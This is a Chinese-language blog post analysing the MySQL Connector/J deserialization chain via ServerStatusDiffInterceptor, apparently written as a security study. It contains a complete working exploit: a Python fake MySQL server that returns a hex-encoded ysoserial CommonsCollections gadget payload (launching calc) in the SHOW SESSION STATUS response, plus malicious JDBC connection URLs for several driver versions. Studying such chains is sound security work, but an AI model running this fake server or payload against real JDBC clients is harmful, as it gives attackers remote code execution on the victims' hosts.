java安全之Mysql_JDBC反序列化分析

前情提要:

jdbc这条链总感觉自己学过,但是翻了翻笔记,发现好像又没有,可能是之前为了面试去看过一些,但是还没有分析过源码,所以来补一下~

死了

源码分析:

pom.xml

<dependency>  
  <groupId>commons-collections</groupId>  
  <artifactId>commons-collections</artifactId>  
  <version>3.2.1</version>  
</dependency>  
<dependency>  
  <groupId>mysql</groupId>  
  <artifactId>mysql-connector-java</artifactId>  
  <version>8.0.13</version>  
</dependency>

一样的先找入口类,要求是在jdbc连接过程中要被自动执行,看其它大佬的文章,找到是com.mysql.cj.jdbc.result.ResultSetImpl,getObject() 方法调用了 readObject() 方法

JDBC通过mysql数据库查询数据后会返回一个结果集,将查询到的结果返回给程序并封装到ResultSetImpl 这个类中,但是他不满足用户可控输入,所以找谁调用了getobject()

根据网上的链子是ResultSetUtil 类调用了 ResultSetImpl#getObject(),但是这个类是用来处理一些测试实例的,同样不满足上述条件,继续往上找看谁调用了他

最终找到的是com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap

注:

ServerStatusDiffInterceptor是一个过滤器,当jdbc的url中设定属性queryInterceptors 为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,这是一个自动执行的过程,我们可以把它作为利用链头

接下来看一下populateMapWithSessionStatusValues 方法的代码

关键在于建立jdbc连接的三行代码,先建立,然后查询,然后调用ResultSetUtil.resultSetToMap,完成

查询并封装查询结果

/**
 * 从数据库会话状态中提取信息,并填充到目标Map中
 * 功能:执行"SHOW SESSION STATUS"查询当前数据库会话的状态变量,
 * 将结果(变量名-变量值)以键值对形式存入目标Map
 * 
 * @param toPopulate 用于存储会话状态键值对的目标Map,方法会先清空该Map再填充新数据
 */
private void populateMapWithSessionStatusValues(Map<String, String> toPopulate) {
    // 声明SQL语句执行对象和结果集对象,初始化为null以便后续关闭资源
    java.sql.Statement stmt = null;
    java.sql.ResultSet rs = null;

    try {
        try {
            // 清空目标Map,避免残留之前的旧数据,保证本次填充数据的纯净性
            toPopulate.clear();

            // 创建SQL语句执行对象(基于已有的数据库连接)
            stmt = this.connection.createStatement();
            // 执行SQL查询:"SHOW SESSION STATUS"是数据库(如MySQL)的内置命令,
            // 用于查询当前会话(Session)的状态变量,返回结果包含两列:Variable_name(变量名)和Value(变量值)
            rs = stmt.executeQuery("SHOW SESSION STATUS");
            // 调用工具类方法,将结果集(ResultSet)中的键值对映射到目标Map中
            // 映射逻辑:ResultSet的"Variable_name"列作为Map的key,"Value"列作为Map的value
            ResultSetUtil.resultSetToMap(toPopulate, rs);
        } finally {
            // 确保结果集(ResultSet)被关闭,释放数据库资源,防止资源泄漏
            if (rs != null) {
                rs.close();
            }

            // 确保语句执行对象(Statement)被关闭,释放数据库资源,防止资源泄漏
            if (stmt != null) {
                stmt.close();
            }
        }
    } catch (SQLException ex) {
        // 捕获数据库操作异常(如连接失败、SQL执行错误等),
        // 通过异常工厂包装为自定义异常后抛出,便于上层统一处理数据库相关错误
        throw ExceptionFactory.createException(ex.getMessage(), ex);
    }
}

漏洞复现:

先写一个test类,获取看一下流量

import java.sql.*;  
  
public class Test {  
    public static void main(String[] args) throws Exception {  
        Class.forName("com.mysql.jdbc.Driver");  
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
                "&autoDeserialize=true" +  
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";  
        Connection con = DriverManager.getConnection(jdbc_url, "root", "123123");  
    }  
}

用wireshark抓一下包(因为这里要看的是mysql协议,所以不能用bp那些)

我们需要用python脚本伪造的mysql服务端就是需要伪造Greeting 数据包, Response OKResponse Response OK 以及 JDBC 执行查询语句 SHOW SESSION STATUS 的返回包等

首先是发送了一个greeting数据包,之后又会发送一个login请求,并且该login请求中会包含user和pass等信息

然后得到一个response ok之后,会有五个连续的query和response ok

Statement: /* mysql-connector-java-8.0.13 (Revision: 66459e9d39c8fd09767992bc592acd2053279be6) */SELECT @@session.auto_increment_increment AS auto_increment_increment, @@character_set_client AS character_set_client, @@character_set_connection AS character_set_connection, @@character_set_results AS character_set_results, @@character_set_server AS character_set_server, @@collation_server AS collation_server, @@collation_connection AS collation_connection, @@init_connect AS init_connect, @@interactive_timeout AS interactive_timeout, @@license AS license, @@lower_case_table_names AS lower_case_table_names, @@max_allowed_packet AS max_allowed_packet, @@net_write_timeout AS net_write_timeout, @@query_cache_size AS query_cache_size, @@query_cache_type AS query_cache_type, @@sql_mode AS sql_mode, @@system_time_zone AS system_time_zone, @@time_zone AS time_zone, @@transaction_isolation AS transaction_isolation, @@wait_timeout AS wait_timeout
作用:查询 MySQL 会话(session)或系统级别的多个关键配置变量,返回这些变量的当前值。
Statement: SHOW WARNINGS
作用:显示最近一条 SQL 语句执行后产生的警告信息(若有)。
Statement: SET NAMES utf8mb4
作用:一次性设置客户端与数据库交互的字符集相关参数
Statement: SET character_set_results = NULL
作用:将character_set_results(查询结果的字符集)设置为NULL,表示 “结果字符集跟随character_set_connection”。
Statement: SELECT @@session.autocommit
作用:查询当前会话的autocommit(自动提交)状态。

然后紧接这一个query就是SHOW SESSION STATUS(就是上述代码中的一条语句)

因为我们构造的是fake mysql服务端,所以响应包的编写需要我们将 MySQL Protocol 的部分全部复制进来

最后构造的fake mysql服务端(python)

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则  java -jar ysoserial [common7那个]  "calc" > a
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001142e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c21000c000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c21002d000000fd00001f00002a0000080364656600000014636f6c6c6174696f6e5f636f6e6e656374696f6e000c21002d000000fd00001f000022000009036465660000000c696e69745f636f6e6e656374000c21002a000000fd00001f00002900000a0364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000b03646566000000076c6963656e7365000c210009000000fd00001f00002c00000c03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000d03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000e03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f73697a65000c3f001500000008a00000000026000010036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000011036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000012036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000013036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001403646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000015036465660000000c776169745f74696d656f7574000c3f001500000008a00000000019010016013104757466380475746638047574663804757466380f757466385f756e69636f64655f63690f757466385f67656e6572616c5f63690e534554204e414d45532075746638033132300347504c01310831363737373231360236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce40653595354454d0f52455045415441424c452d524541440331323007000017fe000002000200'
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '2a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3306

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

然后在本地运行fakeMysql.py之后(切记不要启动你的mysql服务,因为你这里构造的就是一个fake mysql,如果在启动你本地的mysql服务就会导致端口冲突无法rce),在运行jdbc连接代码

成功弹出计算器

并且python构造的fake mysql也接收到了请求

image

 

不同版本的payload:

8.x

如上述 Demo:

"jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai" +  
"&autoDeserialize=true" +  
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";

6.x

属性名不同,queryInterceptors 换为 statementInterceptors

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名中没有cj

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x <= 5.1.10

同上,但需要连接后执行查询。

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

总结:

分析下来,其实mysql jdbc就是在使用jdbc连接数据库的时候存在一个可以自动调用的反序列化的点,通过去构造fake mysql伪造响应端来反序列化恶意的payload,而这个padyload是根据项目本身存在的依赖,如果存在有漏洞的依赖也可以利用别的利用链

参考文章:

https://drun1baby.top/2023/01/13/MySQL-jdbc-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0

 

posted @ 2025-07-28 17:02  Zephyr07  阅读(42)  评论(0)    收藏  举报